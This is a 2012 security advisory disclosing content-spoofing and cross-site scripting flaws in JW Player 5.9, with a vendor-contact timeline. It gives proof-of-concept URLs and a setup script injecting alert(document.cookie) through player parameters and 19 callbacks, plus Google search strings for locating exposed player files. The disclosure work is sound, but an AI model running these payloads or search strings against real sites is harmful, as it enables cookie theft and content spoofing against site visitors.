JW Player 5.9 Cross Site Scripting / Content Spoofing

`Hello list!  
  
I want to warn you about security vulnerabilities in JW Player.  
  
These are Content Spoofing and Cross-Site Scripting vulnerabilities.  
  
-------------------------  
Affected products:  
-------------------------  
  
Vulnerable are JW Player 5.9.2156 (and 5.9.2206, except one vulnerability)   
and previous versions. Tested in 5.7.1896, 5.9.2156 and 5.9.2206. Only some   
of these vulnerabilities exist in 3.x and previous versions.  
  
In version 5.9.2206 developers have fixed first XSS hole from   
bellow-mentioned.  
  
----------  
Details:  
----------  
  
Content Spoofing (WASC-12):  
  
In parameter file there can be set as video, as audio files.  
  
Swf-file of JW Player accepts arbitrary addresses in parameters file and   
image, which allows to spoof content of flash - i.e. by setting addresses of   
video (audio) and/or image files from other site.  
  
http://http://site/jwplayer.swf?file=1.flv&backcolor=0xFFFFFF&screencolor=0xFFFFFF  
http://http://site/jwplayer.swf?file=1.flv&image=1.jpg  
  
Swf-file of JW Player accepts arbitrary addresses in parameter config, which   
allows to spoof content of flash - i.e. by setting address of config file   
from other site (parameters file and image in xml-file accept arbitrary   
addresses). For loading of config file from other site it needs to have   
crossdomain.xml.  
  
http://http://site/jwplayer.swf?config=1.xml  
  
1.xml  
  
<config>  
<file>1.flv</file>  
<image>1.jpg</image>  
</config>  
  
Swf-file of JW Player accepts arbitrary addresses in parameter playlistfile,   
which allows to spoof content of flash - i.e. by setting address of playlist   
file from other site (parameters media:content and media:thumbnail in   
xml-file accept arbitrary addresses). For loading of playlist file from   
other site it needs to have crossdomain.xml.  
  
http://http://site/jwplayer.swf?playlistfile=1.rss  
http://http://site/jwplayer.swf?playlistfile=1.rss&playlist.position=right&playlist.size=200  
  
1.rss  
  
<rss version="2.0" xmlns:media="http://search.yahoo.com/mrss/">  
<channel>  
<title>Example playlist</title>  
<item>  
<title>Video #1</title>  
<description>First video.</description>  
<media:content url="1.flv" duration="5" />  
<media:thumbnail url="1.jpg" />  
</item>  
<item>  
<title>Video #2</title>  
<description>Second video.</description>  
<media:content url="2.flv" duration="5" />  
<media:thumbnail url="2.jpg" />  
</item>  
</channel>  
</rss>  
  
XSS (WASC-08):  
  
http://http://site/jwplayer.swf?playerready=alert(document.cookie)  
  
XSS (WASC-08):  
  
If at the site at page with jwplayer.swf (player.swf) there is possibility   
(via HTML Injection) to include JS code with callback-function, and there   
are 19 such functions in total, then it's possible to conduct XSS attack.   
I.e. JS-callbacks can be used for XSS attack.  
  
Example of exploit:  
  
<script type="text/javascript" src="jwplayer.js"></script>  
<div id="container">...</div>  
<script type="text/javascript">  
jwplayer("container").setup({  
flashplayer: "jwplayer.swf",  
file: "1.flv",  
autostart: true,  
height: 300,  
width: 480,  
events: {  
onReady: function() { alert(document.cookie); },  
onComplete: function() { alert(document.cookie); },  
onBufferChange: function() { alert(document.cookie); },  
onBufferFull: function() { alert(document.cookie); },  
onError: function() { alert(document.cookie); },  
onFullscreen: function() { alert(document.cookie); },  
onMeta: function() { alert(document.cookie); },  
onMute: function() { alert(document.cookie); },  
onPlaylist: function() { alert(document.cookie); },  
onPlaylistItem: function() { alert(document.cookie); },  
onResize: function() { alert(document.cookie); },  
onBeforePlay: function() { alert(document.cookie); },  
onPlay: function() { alert(document.cookie); },  
onPause: function() { alert(document.cookie); },  
onBuffer: function() { alert(document.cookie); },  
onSeek: function() { alert(document.cookie); },  
onIdle: function() { alert(document.cookie); },  
onTime: function() { alert(document.cookie); },  
onVolume: function() { alert(document.cookie); }  
}  
});  
</script>  
  
There is such feature as logo in licensed version of the player. So in   
licensed versions of swf-file there are also the next vulnerabilities:  
  
Content Spoofing (WASC-12):  
  
http://http://site/jwplayer.swf?file=1.flv&logo.file=1.jpg&logo.link=http://websecurity.com.ua  
  
XSS (WASC-08):  
  
http://http://site/jwplayer.swf?file=1.flv&logo.file=1.jpg&logo.link=javascript:alert(document.cookie)  
  
Widespread of vulnerabilities.  
  
Swf-files of JW Player can have different names, such as jwplayer.swf and   
player.swf.  
  
http://www.google.com.ua/search?q=inurl%3Ajwplayer.swf+filetype%3Aswf  
http://www.google.com.ua/search?q=inurl%3Aplayer.swf+filetype%3Aswf  
  
By Google's information, there are 99600 + 7610000 = 7709600 (in May) of   
such flash files in Internet. This is approximate data and not all of the   
player.swf are swf-files of JW Player, but taking into account that this is   
very popular flash application, which is used as standalone, as a part of   
different web applications (CMS), and Google could indexed only 10% of its   
swf-files, then we receive tens millions of vulnerable swf-files of JW   
Player in Internet.

Timeline:  
------------   
  
2012.05.25 - found vulnerabilities during pentest (in version 5.7.1896 and   
tested in the last version from official site). Some of CS vulnerabilities   
had existed in 3.x version of the player and I knew about them since 2008,   
when first time saw JW Player.  
2012.05.28 - announced at my site.  
2012.05.29 - informed developers.  
2012.05.29 - developers answered that most holes should be fixed in version   
5.9.2206 (in trunk).  
2012.05.31 - after checking, I've informed developers that in trunk only one   
XSS are fixed. Then they answered that they were planning to fix all other   
vulnerabilities in upcoming 6.0 version of the player.  
2012.06.06 - disclosed at my site (http://websecurity.com.ua/5848/).
